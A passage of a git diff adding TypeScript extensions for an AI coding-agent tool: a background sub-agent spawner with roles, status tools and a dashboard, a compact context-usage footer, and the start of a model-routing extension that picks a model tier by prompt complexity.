systemPrompt: "You are a builder agent. Implement the requested changes thoroughly. Write clean, minimal code. Follow existing patterns in the codebase. Test your work when possible.", + }, + { + name: "reviewer", + description: "Code review and quality analysis (read-only)", + tools: "read,grep,find,ls", + systemPrompt: "You are a reviewer agent. Analyze code for bugs, security issues, performance problems, and style inconsistencies. Be specific about line numbers and suggest fixes.", + }, + { + name: "tester", + description: "Test writing and execution", + tools: "read,write,edit,bash,grep,find,ls", + systemPrompt: "You are a testing agent. Write and run tests for the specified code. Cover edge cases. Use the project's existing test framework and patterns.", + }, +]; + +// ── Auto-delegation patterns ─────────────────────────────────────────────── + +const OFFLOAD_PATTERNS = [ + /\b(across|entire|whole|every|all)\s+(files?|codebase|project|modules?|components?)\b/i, + /\b(refactor|migrate|rewrite|overhaul)\s+(the\s+)?(entire|whole|full)\b/i, + /\b(search|find|grep)\s+(and\s+)?(replace|update|change)\s+(across|in all|everywhere)\b/i, + /\b(background|async|offload|delegate|spawn)\b/i, + /\bstep\s+[5-9]\b/i, // multi-step plan indicator + /\b(in parallel|simultaneously|concurrently)\b/i, +]; + +function shouldSuggestOffload(prompt: string): boolean { + return OFFLOAD_PATTERNS.some(p => p.test(prompt)); +} + +// ── Extension ────────────────────────────────────────────────────────────── + +export default function hyperloop(pi: ExtensionAPI) { + const agents: Map = new Map(); + const activeProcesses: Set = new Set(); + let nextId = 1; + let widgetCtx: any = null; + let mode: AgentMode = "hybrid"; + let autoDelegate = true; + let sessionDir = ""; + let customRoles: AgentDef[] = []; + + // ── Widget Throttle ──────────────────────────────────────────────────── + + let widgetDirty = false; + let widgetTimer: ReturnType | null = null; + + function scheduleWidget() { + widgetDirty = true; + if (widgetTimer) return; + widgetTimer = setTimeout(() => { + widgetTimer = null; + if (widgetDirty) { + widgetDirty = false; + renderWidget(); + } + }, WIDGET_THROTTLE_MS); + } + + function flushWidget() { + if (widgetTimer) { + clearTimeout(widgetTimer); + widgetTimer = null; + } + widgetDirty = false; + renderWidget(); + } + + // ── Load custom roles from .pi/agents/ ───────────────────────────────── + + function loadCustomRoles(cwd: string) { + const dirs = [ + join(cwd, ".pi", "agents"), + join(cwd, "agents"), + ]; + customRoles = []; + const seen = new Set(BUILTIN_ROLES.map(r => r.name)); + + for (const dir of dirs) { + if (!existsSync(dir)) continue; + try { + for (const file of readdirSync(dir)) { + if (!file.endsWith(".md")) continue; + const raw = readFileSync(join(dir, file), "utf-8"); + const match = raw.match(/^---\n([\s\S]*?)\n---\n([\s\S]*)$/); + if (!match) continue; + const fm: Record = {}; + for (const line of match[1].split("\n")) { + const idx = line.indexOf(":"); + if (idx > 0) fm[line.slice(0, idx).trim()] = line.slice(idx + 1).trim(); + } + if (!fm.name || seen.has(fm.name)) continue; + seen.add(fm.name); + customRoles.push({ + name: fm.name, + description: fm.description || "", + tools: fm.tools || "read,grep,find,ls", + systemPrompt: match[2].trim(), + }); + } + } catch {} + } + } + + function getAllRoles(): AgentDef[] { + return [...BUILTIN_ROLES, ...customRoles]; + } + + function findRole(name: string): AgentDef { + const all = getAllRoles(); + return all.find(r => r.name.toLowerCase() === name.toLowerCase()) || BUILTIN_ROLES[0]; + } + + // ── Session File Management ──────────────────────────────────────────── + + function makeSessionFile(id: number): string { + if (!existsSync(sessionDir)) mkdirSync(sessionDir, { recursive: true }); + return join(sessionDir, `hyperloop-${id}-${Date.now()}.jsonl`); + } + + // ── Widget Rendering ─────────────────────────────────────────────────── + + function renderWidget() { + if (!widgetCtx) return; + + if (agents.size === 0) { + widgetCtx.ui.setWidget("hyperloop", undefined); + return; + } + + widgetCtx.ui.setWidget("hyperloop", (_tui: any, theme: any) => { + const container = new Container(); + const content = new Text("", 0, 0); + container.addChild(content); + + return { + render(width: number): string[] { + const lines: string[] = []; + const modeLabel = mode === "hybrid" ? "⚡ hybrid" + : mode === "delegator" ? "📡 delegator" : "💬 interactive"; + + lines.push( + theme.fg("dim", "─".repeat(width)) + ); + lines.push( + theme.fg("accent", " ◉ Hyperloop") + + theme.fg("dim", ` [${modeLabel}]`) + + theme.fg("dim", ` · ${agents.size} agent${agents.size !== 1 ? "s" : ""}`) + + (autoDelegate ? theme.fg("success", " · auto") : theme.fg("dim", " · manual")) + ); + + for (const [, agent] of agents) { + const statusIcon = agent.status === "queued" ? "◌" + : agent.status === "running" ? "●" + : agent.status === "done" ? "✓" + : agent.status === "killed" ? "⊘" : "✗"; + const statusColor = agent.status === "running" ? "accent" + : agent.status === "done" ? "success" + : agent.status === "queued" ? "dim" : "error"; + + const elapsed = agent.status === "running" + ? Math.round((Date.now() - agent.startTime) / 1000) + : Math.round(agent.elapsed / 1000); + + const taskPreview = agent.task.length > 50 + ? agent.task.slice(0, 47) + "..." + : agent.task; + + const turnLabel = agent.turnCount > 1 ? ` t${agent.turnCount}` : ""; + + // Main status line + lines.push( + theme.fg(statusColor, ` ${statusIcon} #${agent.id}`) + + theme.fg("dim", ` [${agent.role}${turnLabel}]`) + + theme.fg("dim", ` ${elapsed}s`) + + theme.fg("dim", ` · ${agent.toolCount} tools`) + + (agent.cost > 0 ? theme.fg("warning", ` · $${agent.cost.toFixed(4)}`) : "") + ); + + // Task description + lines.push( + theme.fg("muted", ` ${taskPreview}`) + ); + + // Live output (last line) for running agents + if (agent.status === "running" && agent.textChunks.length > 0) { + const fullText = agent.textChunks.join(""); + const lastLine = fullText.split("\n").filter((l: string) => l.trim()).pop() || ""; + if (lastLine) { + const trimmed = lastLine.length > width - 6 + ? lastLine.slice(0, width - 9) + "..." + : lastLine; + lines.push(theme.fg("dim", ` → ${trimmed}`)); + } + } + } + + lines.push(theme.fg("dim", "─".repeat(width))); + + content.setText(lines.join("\n")); + return container.render(width); + }, + invalidate() { container.invalidate(); }, + }; + }); + } + + // ── Process JSON Stream from Sub-Agent ───────────────────────────────── + + function processLine(agent: SubAgent, line: string) { + if (!line.trim()) return; + try { + const event = JSON.parse(line); + if (event.type === "message_update") { + const delta = event.assistantMessageEvent; + if (delta?.type === "text_delta") { + agent.textChunks.push(delta.delta || ""); + scheduleWidget(); + } + } else if (event.type === "tool_execution_start") { + agent.toolCount++; + scheduleWidget(); + } else if (event.type === "message_end" || event.type === "agent_end") { + const msg = event.message || (event.messages || []).reverse().find((m: any) => m.role === "assistant"); + if (msg?.usage) { + agent.inputTokens = msg.usage.input || 0; + agent.outputTokens = msg.usage.output || 0; + agent.cost = msg.usage.cost?.total || 0; + scheduleWidget(); + } + } + } catch {} + } + + // ── Spawn Sub-Agent Process ──────────────────────────────────────────── + + function spawnSubAgent( + agent: SubAgent, + prompt: string, + ctx: ExtensionContext, + isContinuation: boolean, + ): Promise<{ output: string; exitCode: number }> { + agent.status = "running"; + agent.startTime = Date.now(); + scheduleWidget(); + + const role = findRole(agent.role); + + // Use a cheaper model for sub-agents to save cost + const model = ctx.model + ? `${ctx.model.provider}/${ctx.model.id}` + : "anthropic/claude-sonnet-4-6"; + + const args = [ + "--mode", "json", + "-p", + "--no-extensions", + "--no-skills", + "--model", model, + "--tools", role.tools, + "--thinking", "low", + "--append-system-prompt", role.systemPrompt, + "--session", agent.sessionFile, + ]; + + if (isContinuation) { + args.push("-c"); + } + + args.push(prompt); + + return new Promise((resolve) => { + let resolved = false; + const safeResolve = (val: { output: string; exitCode: number }) => { + if (resolved) return; + resolved = true; + resolve(val); + }; + + const proc = cpSpawn("pi", args, { + stdio: ["ignore", "pipe", "pipe"], + env: { ...process.env }, + }); + + agent.proc = proc; + activeProcesses.add(proc); + + agent.timer = setInterval(() => { + agent.elapsed = Date.now() - agent.startTime; + scheduleWidget(); + }, 1000); + + const timeout = setTimeout(() => { + try { proc.kill("SIGTERM"); } catch {} + setTimeout(() => { try { proc.kill("SIGKILL"); } catch {} }, 3000); + }, AGENT_TIMEOUT_MS); + + let buffer = ""; + + proc.stdout!.setEncoding("utf-8"); + proc.stdout!.on("data", (chunk: string) => { + buffer += chunk; + const lines = buffer.split("\n"); + buffer = lines.pop() || ""; + for (const line of lines) processLine(agent, line); + }); + + proc.stderr!.setEncoding("utf-8"); + proc.stderr!.on("data", () => {}); + + proc.on("close", (code) => { + clearTimeout(timeout); + activeProcesses.delete(proc); + agent.proc = undefined; + if (agent.timer) clearInterval(agent.timer); + agent.elapsed = Date.now() - agent.startTime; + agent.exitCode = code ?? 1; + + if (buffer.trim()) processLine(agent, buffer); + + const timedOut = agent.elapsed >= AGENT_TIMEOUT_MS; + agent.status = timedOut ? "error" : (code === 0 ? "done" : "error"); + flushWidget(); + + const output = agent.textChunks.join(""); + safeResolve({ output, exitCode: code ?? 1 }); + }); + + proc.on("error", (err) => { + clearTimeout(timeout); + activeProcesses.delete(proc); + agent.proc = undefined; + if (agent.timer) clearInterval(agent.timer); + agent.status = "error"; + flushWidget(); + safeResolve({ output: `Error: ${err.message}`, exitCode: 1 }); + }); + }); + } + + // ── Fire-and-forget spawn (delivers result as follow-up) ─────────────── + + function spawnAndDeliver(agent: SubAgent, prompt: string, ctx: ExtensionContext, isContinuation: boolean) { + spawnSubAgent(agent, prompt, ctx, isContinuation).then(({ output, exitCode }) => { + const status = exitCode === 0 ? "✓ done" : "✗ error"; + const elapsed = Math.round(agent.elapsed / 1000); + const turnLabel = agent.turnCount > 1 ? ` (Turn ${agent.turnCount})` : ""; + + const truncated = output.length > MAX_RESULT_LENGTH + ? output.slice(0, MAX_RESULT_LENGTH) + "\n\n... [truncated — full output in sub-agent session]" + : output; + + ctx.ui.notify( + `Sub-agent #${agent.id} [${agent.role}] ${status} in ${elapsed}s`, + exitCode === 0 ? "info" : "error", + ); + + pi.sendMessage({ + customType: "hyperloop-result", + content: `**Sub-agent #${agent.id}** [${agent.role}]${turnLabel} — ${status} in ${elapsed}s | ${agent.toolCount} tool calls | $${agent.cost.toFixed(4)}\n\n${truncated}`, + display: "assistant", + }, { deliverAs: "followUp", triggerTurn: true }); + }); + } + + // ── LLM Tools ────────────────────────────────────────────────────────── + + pi.registerTool({ + name: "hyperloop_spawn", + label: "Spawn Sub-Agent", + description: `Spawn a background sub-agent to execute a task without consuming main chat context. The sub-agent runs asynchronously — you can continue chatting while it works. Results are delivered automatically when finished. + +Available roles: ${BUILTIN_ROLES.map(r => `${r.name} (${r.description})`).join(", ")}. Custom roles from .pi/agents/*.md are also available. + +Use this for: +- Complex multi-file operations that would flood the context +- Long-running tasks (tests, builds, migrations) +- Parallel independent tasks (spawn multiple) +- When context usage is high and you need to preserve it`, + promptGuidelines: [ + "Spawn sub-agents for heavy/multi-file work to preserve main context", + "Use role='scout' for exploration, 'builder' for implementation, 'reviewer' for code review, 'tester' for tests", + "You can spawn multiple sub-agents in parallel for independent tasks", + "Sub-agent results are delivered automatically — continue chatting while they work", + ], + parameters: Type.Object({ + task: Type.String({ description: "Complete task description. Be specific — the sub-agent has no context from this conversation." }), + role: Type.Optional(Type.String({ description: "Agent role: general, scout, builder, reviewer, tester, or custom role name. Default: general" })), + }), + + async execute(_callId, params, _signal, onUpdate, ctx) { + widgetCtx = ctx; + const task = params.task; + const role = params.role || "general"; + + const id = nextId++; + const agent: SubAgent = { + id, + status: "queued", + task, + role, + tools: findRole(role).tools, + textChunks: [], + toolCount: 0, + elapsed: 0, + startTime: Date.now(), + sessionFile: makeSessionFile(id), + turnCount: 1, + inputTokens: 0, + outputTokens: 0, + cost: 0, + }; + agents.set(id, agent); + + if (onUpdate) { + onUpdate({ + content: [{ type: "text", text: `Spawning sub-agent #${id} [${role}]...` }], + details: { id, role, task, status: "spawning" }, + }); + } + + // Fire and forget — result delivered via sendMessage + spawnAndDeliver(agent, task, ctx, false); + + return { + content: [{ type: "text", text: `Sub-agent #${id} [${role}] spawned and running in background. You'll receive results automatically when it finishes. Continue chatting normally.` }], + details: { id, role, task, status: "running" }, + }; + }, + + renderCall(args, theme) { + const role = (args as any).role || "general"; + const task = (args as any).task || ""; + const preview = task.length > 55 ? task.slice(0, 52) + "..." : task; + return new Text( + theme.fg("toolTitle", theme.bold("hyperloop_spawn ")) + + theme.fg("accent", `[${role}] `) + + theme.fg("muted", preview), + 0, 0, + ); + }, + + renderResult(result, options, theme) { + const d = result.details as any; + if (!d) return undefined; + if (options.isPartial || d.status === "spawning") { + return new Text(theme.fg("accent", `● #${d.id} [${d.role}]`) + theme.fg("dim", " spawning..."), 0, 0); + } + return new Text( + theme.fg("success", `◉ #${d.id}`) + + theme.fg("dim", ` [${d.role}] running in background`), + 0, 0, + ); + }, + }); + + pi.registerTool({ + name: "hyperloop_continue", + label: "Continue Sub-Agent", + description: "Continue a finished sub-agent's conversation with follow-up instructions. The sub-agent retains its full conversation history.", + parameters: Type.Object({ + id: Type.Number({ description: "Sub-agent ID to continue" }), + prompt: Type.String({ description: "Follow-up instructions" }), + }), + + async execute(_callId, params, _signal, _onUpdate, ctx) { + widgetCtx = ctx; + const agent = agents.get(params.id); + if (!agent) { + return { content: [{ type: "text", text: `No sub-agent #${params.id} found.` }] }; + } + if (agent.status === "running") { + return { content: [{ type: "text", text: `Sub-agent #${params.id} is still running. Wait for it to finish.` }] }; + } + + agent.textChunks = []; + agent.toolCount = 0; + agent.elapsed = 0; + agent.turnCount++; + + spawnAndDeliver(agent, params.prompt, ctx, true); + + return { + content: [{ type: "text", text: `Sub-agent #${params.id} continuing (Turn ${agent.turnCount}). Results will be delivered when ready.` }], + }; + }, + }); + + pi.registerTool({ + name: "hyperloop_status", + label: "Sub-Agent Status", + description: "Check status of all sub-agents.", + parameters: Type.Object({}), + + async execute() { + if (agents.size === 0) { + return { content: [{ type: "text", text: "No sub-agents." }] }; + } + + const lines: string[] = []; + for (const [, a] of agents) { + const elapsed = a.status === "running" + ? Math.round((Date.now() - a.startTime) / 1000) + : Math.round(a.elapsed / 1000); + const turnLabel = a.turnCount > 1 ? ` (Turn ${a.turnCount})` : ""; + lines.push( + `#${a.id} [${a.role}${turnLabel}] ${a.status.toUpperCase()} — ${elapsed}s, ${a.toolCount} tools, $${a.cost.toFixed(4)}`, + ` Task: ${a.task}`, + ); + } + + return { content: [{ type: "text", text: lines.join("\n") }] }; + }, + }); + + pi.registerTool({ + name: "hyperloop_kill", + label: "Kill Sub-Agent", + description: "Kill a running sub-agent or remove a finished one.", + parameters: Type.Object({ + id: Type.Number({ description: "Sub-agent ID" }), + }), + + async execute(_callId, params) { + const agent = agents.get(params.id); + if (!agent) { + return { content: [{ type: "text", text: `No sub-agent #${params.id} found.` }] }; + } + + if (agent.proc && agent.status === "running") { + try { agent.proc.kill("SIGTERM"); } catch {} + agent.status = "killed"; + } + if (agent.timer) clearInterval(agent.timer); + + if (widgetCtx) widgetCtx.ui.setWidget(`sub-${params.id}`, undefined); + agents.delete(params.id); + flushWidget(); + + return { content: [{ type: "text", text: `Sub-agent #${params.id} removed.` }] }; + }, + }); + + pi.registerTool({ + name: "hyperloop_collect", + label: "Collect Results", + description: "Collect and summarize results from all finished sub-agents. Useful after spawning multiple parallel agents.", + parameters: Type.Object({}), + + async execute() { + const finished = Array.from(agents.values()).filter(a => a.status === "done" || a.status === "error"); + if (finished.length === 0) { + const running = Array.from(agents.values()).filter(a => a.status === "running"); + if (running.length > 0) { + return { content: [{ type: "text", text: `${running.length} sub-agent(s) still running. Wait for them to finish.` }] }; + } + return { content: [{ type: "text", text: "No sub-agent results to collect." }] }; + } + + const parts: string[] = []; + let totalCost = 0; + for (const a of finished) { + const output = a.textChunks.join(""); + const truncated = output.length > 6000 + ? output.slice(0, 6000) + "\n... [truncated]" + : output; + const status = a.status === "done" ? "✓" : "✗"; + parts.push(`## ${status} Sub-agent #${a.id} [${a.role}] — ${Math.round(a.elapsed / 1000)}s\nTask: ${a.task}\n\n${truncated}`); + totalCost += a.cost; + } + + return { + content: [{ + type: "text", + text: `Collected ${finished.length} results (total cost: $${totalCost.toFixed(4)})\n\n${parts.join("\n\n---\n\n")}`, + }], + }; + }, + }); + + // ── Auto-Delegation (hybrid mode) ────────────────────────────────────── + + pi.on("before_agent_start", async (event, ctx) => { + if (!autoDelegate || mode === "interactive") return; + + // Check context pressure + const usage = ctx.getContextUsage(); + if (usage && usage.percent && usage.percent > CONTEXT_WARN_PCT) { + ctx.ui.setStatus("hyperloop-warn", `⚠️ Context ${Math.round(usage.percent)}% — consider offloading heavy tasks`); + } else { + ctx.ui.setStatus("hyperloop-warn", undefined); + } + + // In hybrid mode, nudge the system prompt to encourage delegation + if (mode === "hybrid" || mode === "delegator") { + const shouldOffload = shouldSuggestOffload(event.prompt); + const contextHigh = usage && usage.percent && usage.percent > CONTEXT_WARN_PCT; + + if (shouldOffload || contextHigh) { + const roles = getAllRoles().map(r => `${r.name}: ${r.description}`).join("\n"); + return { + systemPrompt: event.systemPrompt + `\n\n## Hyperloop Sub-Agent System +You have access to a sub-agent system (hyperloop_spawn, hyperloop_continue, hyperloop_status, hyperloop_kill, hyperloop_collect). + +**The current task appears complex or context-heavy.** Consider spawning sub-agents for: +- Multi-file operations (use role="builder") +- Codebase exploration (use role="scout") +- Code review (use role="reviewer") +- Test writing (use role="tester") +- Any task that would generate lots of context + +${contextHigh ? `⚠️ CONTEXT IS ${Math.round(usage!.percent!)}% FULL — strongly prefer sub-agents for any significant work.\n` : ""} +Available roles:\n${roles} + +Sub-agents run in background. You can spawn multiple in parallel. Results auto-deliver as follow-up messages. Keep your main responses concise.`, + }; + } + } + }); + + // ── /hl Command ──────────────────────────────────────────────────────── + + pi.registerCommand("hl", { + description: "Hyperloop controls: /hl [spawn|kill|clear|auto|mode]", + getArgumentCompletions: (prefix: string): AutocompleteItem[] | null => { + const items = [ + { value: "spawn ", label: "spawn — Spawn a sub-agent" }, + { value: "kill ", label: "kill — Kill a sub-agent" }, + { value: "clear", label: "clear — Remove all sub-agents" }, + { value: "auto on", label: "auto on — Enable auto-delegation" }, + { value: "auto off", label: "auto off — Disable auto-delegation" }, + { value: "mode interactive", label: "mode interactive — Manual only" }, + { value: "mode hybrid", label: "mode hybrid — Smart auto-offload" }, + { value: "mode delegator", label: "mode delegator — Prefer delegation" }, + ]; + return items.filter(i => i.value.startsWith(prefix)); + }, + + async handler(args, ctx) { + widgetCtx = ctx; + const parts = (args || "").trim().split(/\s+/); + const sub = parts[0]?.toLowerCase(); + + if (!sub || sub === "status") { + // Show dashboard + const modeLabel = mode === "hybrid" ? "⚡ hybrid" : mode === "delegator" ? "📡 delegator" : "💬 interactive"; + const autoLabel = autoDelegate ? "on" : "off"; + const agentList = agents.size === 0 + ? " No sub-agents" + : Array.from(agents.values()).map(a => { + const elapsed = a.status === "running" + ? Math.round((Date.now() - a.startTime) / 1000) + : Math.round(a.elapsed / 1000); + return ` #${a.id} [${a.role}] ${a.status} — ${elapsed}s, ${a.toolCount} tools, $${a.cost.toFixed(4)}\n ${a.task}`; + }).join("\n"); + + const usage = ctx.getContextUsage(); + const pct = usage?.percent ? Math.round(usage.percent) : "?"; + + pi.sendMessage({ + customType: "hyperloop-dashboard", + content: `\n◉ Hyperloop Dashboard\n Mode: ${modeLabel} | Auto: ${autoLabel} | Context: ${pct}%\n Agents: ${agents.size}\n\n${agentList}\n\n Commands: /hl spawn|kill|clear|auto|mode`, + display: "assistant", + }); + return; + } + + if (sub === "spawn") { + const task = parts.slice(1).join(" ").trim(); + if (!task) { + ctx.ui.notify("Usage: /hl spawn ", "error"); + return; + } + + const id = nextId++; + const agent: SubAgent = { + id, + status: "queued", + task, + role: "general", + tools: BUILTIN_ROLES[0].tools, + textChunks: [], + toolCount: 0, + elapsed: 0, + startTime: Date.now(), + sessionFile: makeSessionFile(id), + turnCount: 1, + inputTokens: 0, + outputTokens: 0, + cost: 0, + }; + agents.set(id, agent); + spawnAndDeliver(agent, task, ctx, false); + ctx.ui.notify(`Sub-agent #${id} spawned`, "info"); + return; + } + + if (sub === "kill") { + const id = parseInt(parts[1], 10); + if (isNaN(id)) { + ctx.ui.notify("Usage: /hl kill ", "error"); + return; + } + const agent = agents.get(id); + if (!agent) { + ctx.ui.notify(`No sub-agent #${id}`, "error"); + return; + } + if (agent.proc) try { agent.proc.kill("SIGTERM"); } catch {} + if (agent.timer) clearInterval(agent.timer); + agents.delete(id); + flushWidget(); + ctx.ui.notify(`Sub-agent #${id} killed`, "info"); + return; + } + + if (sub === "clear") { + for (const [, a] of agents) { + if (a.proc) try { a.proc.kill("SIGTERM"); } catch {} + if (a.timer) clearInterval(a.timer); + } + agents.clear(); + nextId = 1; + flushWidget(); + ctx.ui.notify("All sub-agents cleared", "info"); + return; + } + + if (sub === "auto") { + const val = parts[1]?.toLowerCase(); + if (val === "on") { autoDelegate = true; ctx.ui.notify("Auto-delegation ON", "info"); } + else if (val === "off") { autoDelegate = false; ctx.ui.notify("Auto-delegation OFF", "info"); } + else ctx.ui.notify("Usage: /hl auto on|off", "error"); + return; + } + + if (sub === "mode") { + const val = parts[1]?.toLowerCase() as AgentMode; + if (["interactive", "delegator", "hybrid"].includes(val)) { + mode = val; + ctx.ui.notify(`Mode: ${val}`, "info"); + flushWidget(); + } else { + ctx.ui.notify("Usage: /hl mode interactive|hybrid|delegator", "error"); + } + return; + } + + ctx.ui.notify("Unknown command. Try: /hl spawn|kill|clear|auto|mode", "error"); + }, + }); + + // ── Session Lifecycle ────────────────────────────────────────────────── + + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + widgetCtx = ctx; + sessionDir = join(ctx.cwd, ".pi", "agent-sessions", "hyperloop"); + + loadCustomRoles(ctx.cwd); + + // Clean up any previous agents + for (const [, a] of agents) { + if (a.proc) try { a.proc.kill("SIGTERM"); } catch {} + if (a.timer) clearInterval(a.timer); + } + agents.clear(); + nextId = 1; + + // Footer + ctx.ui.setFooter((_tui, theme, footerData) => { + const unsub = footerData.onBranchChange(() => _tui.requestRender()); + return { + dispose: unsub, + invalidate() {}, + render(width: number): string[] { + const model = ctx.model?.id || "no-model"; + const usage = ctx.getContextUsage(); + const pct = usage?.percent ?? 0; + const filled = Math.round(pct / 10) || 1; + const bar = "#".repeat(filled) + "-".repeat(10 - filled); + + const running = Array.from(agents.values()).filter(a => a.status === "running").length; + const total = agents.size; + const modeIcon = mode === "hybrid" ? "⚡" : mode === "delegator" ? "📡" : "💬"; + + let tokIn = 0, tokOut = 0, cost = 0; + for (const entry of ctx.sessionManager.getBranch()) { + if (entry.type === "message" && entry.message.role === "assistant") { + const m = entry.message as AssistantMessage; + tokIn += m.usage.input; + tokOut += m.usage.output; + cost += m.usage.cost.total; + } + } + // Add sub-agent costs + for (const [, a] of agents) cost += a.cost; + + const fmt = (n: number) => n < 1000 ? `${n}` : `${(n / 1000).toFixed(1)}k`; + + const l1Left = + theme.fg("dim", ` ${model} `) + + theme.fg("warning", "[") + + theme.fg("success", "#".repeat(filled)) + + theme.fg("dim", "-".repeat(10 - filled)) + + theme.fg("warning", "]") + + theme.fg("dim", " ") + + theme.fg("accent", `${Math.round(pct)}%`); + + const l1Right = + theme.fg("success", `${fmt(tokIn)}`) + + theme.fg("dim", " in ") + + theme.fg("accent", `${fmt(tokOut)}`) + + theme.fg("dim", " out ") + + theme.fg("warning", `$${cost.toFixed(4)}`) + + theme.fg("dim", " "); + + const pad1 = " ".repeat(Math.max(1, width - visibleWidth(l1Left) - visibleWidth(l1Right))); + const line1 = truncateToWidth(l1Left + pad1 + l1Right, width, ""); + + const dir = basename(ctx.cwd); + const branch = footerData.getGitBranch(); + const l2Left = + theme.fg("dim", ` ${dir}`) + + (branch ? theme.fg("dim", " ") + theme.fg("warning", "(") + theme.fg("success", branch) + theme.fg("warning", ")") : "") + + theme.fg("dim", ` · ${modeIcon} ${mode}`); + + const agentStatus = total > 0 + ? (running > 0 + ? theme.fg("accent", `● ${running} running`) + theme.fg("dim", ` / ${total} total `) + : theme.fg("dim", `${total} agents `)) + : theme.fg("dim", "no agents "); + + const pad2 = " ".repeat(Math.max(1, width - visibleWidth(l2Left) - visibleWidth(agentStatus))); + const line2 = truncateToWidth(l2Left + pad2 + agentStatus, width, ""); + + return [line1, line2]; + }, + }; + }); + + const roles = getAllRoles().map(r => r.name).join(", "); + ctx.ui.notify( + `◉ Hyperloop active [${mode} mode]\n` + + `Roles: ${roles}\n` + + `/hl — Dashboard & controls`, + "info", + ); + }); + + // ── Cleanup ──────────────────────────────────────────────────────────── + + function killAll() { + for (const proc of activeProcesses) { + try { proc.kill("SIGTERM"); } catch {} + } + setTimeout(() => { + for (const proc of activeProcesses) { + try { proc.kill("SIGKILL"); } catch {} + } + }, 3000); + } + + pi.on("session_shutdown", async () => { killAll(); }); + process.on("exit", killAll); + process.on("SIGINT", () => { killAll(); process.exit(0); }); + process.on("SIGTERM", () => { killAll(); process.exit(0); }); +} diff --git a/extensions/minimal.ts b/extensions/minimal.ts new file mode 100644 index 0000000..5fed862 --- /dev/null +++ b/extensions/minimal.ts @@ -0,0 +1,34 @@ +/** + * Minimal — Model name + context meter in a compact footer + * + * Shows model ID and a 10-block context usage bar: [###-------] 30% + * + * Usage: pi -e extensions/minimal.ts + */ + +import type { ExtensionAPI } from "@mariozechner/pi-coding-agent"; +import { applyExtensionDefaults } from "./themeMap.ts"; +import { truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; + +export default function (pi: ExtensionAPI) { + pi.on("session_start", async (_event, ctx) => { + applyExtensionDefaults(import.meta.url, ctx); + ctx.ui.setFooter((_tui, theme, _footerData) => ({ + dispose: () => {}, + invalidate() {}, + render(width: number): string[] { + const model = ctx.model?.id || "no-model"; + const usage = ctx.getContextUsage(); + const pct = (usage && usage.percent !== null) ? usage.percent : 0; + const filled = Math.round(pct / 10); + const bar = "#".repeat(filled) + "-".repeat(10 - filled); + + const left = theme.fg("dim", ` ${model}`); + const right = theme.fg("dim", `[${bar}] ${Math.round(pct)}% `); + const pad = " ".repeat(Math.max(1, width - visibleWidth(left) - visibleWidth(right))); + + return [truncateToWidth(left + pad + right, width)]; + }, + })); + }); +} \ No newline at end of file diff --git a/extensions/model-router.ts b/extensions/model-router.ts new file mode 100644 index 0000000..0e5361b --- /dev/null +++ b/extensions/model-router.ts @@ -0,0 +1,361 @@ +/** + * Model Router — LLM-powered automatic model selection + * + * Uses Haiku (~200ms, ~$0.001/call) to classify every prompt's complexity, + * then routes to the optimal model + thinking level. No regex guessing. + * + * Tiers: + * ⚡ Haiku — Simple Q&A, file reads, small edits, quick lookups + * ⚖️ Sonnet — Code generation, debugging, refactoring, multi-file work + * 🧠 Opus — Architecture, complex reasoning, large-scale changes + * + * Mid-turn escalation: + * - 4+ edits/writes → escalate to Opus + * - 2+ consecutive errors → escalate (model struggling) + * - 6+ tool calls in one turn → escalate to at least Sonnet + * + * Usage: pi -e extensions/model-router.ts + * + * Commands: + * /router — Show routing state & stats + * /router lock — Lock current model (disable auto-routing) + * /router unlock — Re-enable auto-routing + * /router tier — Force tier: 1=haiku, 2=sonnet, 3=opus + */ + +import type { AssistantMessage } from "@mariozechner/pi-ai"; +import { complete } from "@mariozechner/pi-ai"; +import type { ExtensionAPI, ExtensionContext } from "@mariozechner/pi-coding-agent"; +import { truncateToWidth, visibleWidth } from "@mariozechner/pi-tui"; +import { basename } from "node:path"; +import { applyExtensionDefaults } from "./themeMap.ts"; + +// ── Model Tiers ──────────────────────────────────────────────────────────── + +interface ModelTier { + name: string; + icon: string; + provider: string; + modelId: string; + thinking: "off" | "low" | "medium" | "high"; + inputCost: number; + outputCost: number; +} + +const TIERS: ModelTier[] = [ + { name: "Haiku", icon: "⚡", provider: "anthropic", modelId: "claude-haiku-4-5", thinking: "off", inputCost: 0.80, outputCost: 4.00 }, + { name: "Sonnet", icon: "⚖️", provider: "anthropic", modelId: "claude-sonnet-4-6", thinking: "low", inputCost: 3.00, outputCost: 15.00 }, + { name: "Opus", icon: "🧠", provider: "anthropic", modelId: "claude-opus-4-6", thinking: "high", inputCost: 15.00, outputCost: 75.00 }, +]; + +// ── LLM Classifier ──────────────────────────────────────────────────────── + +const CLASSIFIER_PROMPT = `You are a task complexity classifier for a coding assistant. Given a user prompt, respond with ONLY a JSON object (no markdown, no explanation): + +{"tier": <1|2|3>, "reason": "<5 words max>"} + +TIER 1 (simple): Quick questions, yes/no, read/list/check files, small edits, conversational ("thanks", "ok"), simple lookups. +TIER 2 (medium): Write functions/classes, fix bugs, refactor single files, write tests, create endpoints, docker/CI config. +TIER 3 (complex): Architecture design, multi-file refactoring/migration, security audits, performance optimization, complex algorithms, system design from scratch.`; + +interface Classification { tier: number; reason: string } + +const cache = new Map(); +const CACHE_TTL = 60_000; + +async function classify(prompt: string, ctx: ExtensionContext): Promise { + const key = prompt.trim().toLowerCase().slice(0, 200); + const c = cache.get(key); + if (c && Date.now() - c.ts < CACHE_TTL) return c.result; + + const model = ctx.modelRegistry.find("anthropic", "claude-haiku-4-5"); + if (!model) return { tier: 2, reason: "no classifier" }; + const apiKey = await ctx.modelRegistry.getApiKey(model); + if (!apiKey) return { tier: 2, reason: "no key" }; + + try { + const resp = await complete(model, { + systemPrompt: CLASSIFIER_PROMPT, + messages: [{ role: "user" as const, content: prompt, timestamp: Date.now() }], + }, { reasoning: "off" }); + + const text = resp.content + .filter((c): c is { type: "text"; text: string } => c.type === "text") + .map(c => c.text).join(""); + + const json = text.replace(/```json?\n?/g, "").replace(/```/g, "").trim(); + const parsed = JSON.parse(json); + const result: Classification = { + tier: Math.max(1, Math.min(3, parsed.tier || 2)), + reason: String(parsed.reason || "classified").slice(0, 50), + }; + + cache.set(key, { result, ts: Date.now() }); + return result; + } catch { + return { tier: 2, reason: "classify failed" }; + } +} + +// ── Router State ─────────────────────────────────────────────────────────── + +interface RouterState { + currentTier: number; + locked: boolean; + totalSwitches: number; + turnsSinceLast: number; + consecutiveErrors: number; + toolCallsThisTurn: number; + editWriteThisTurn: number; + 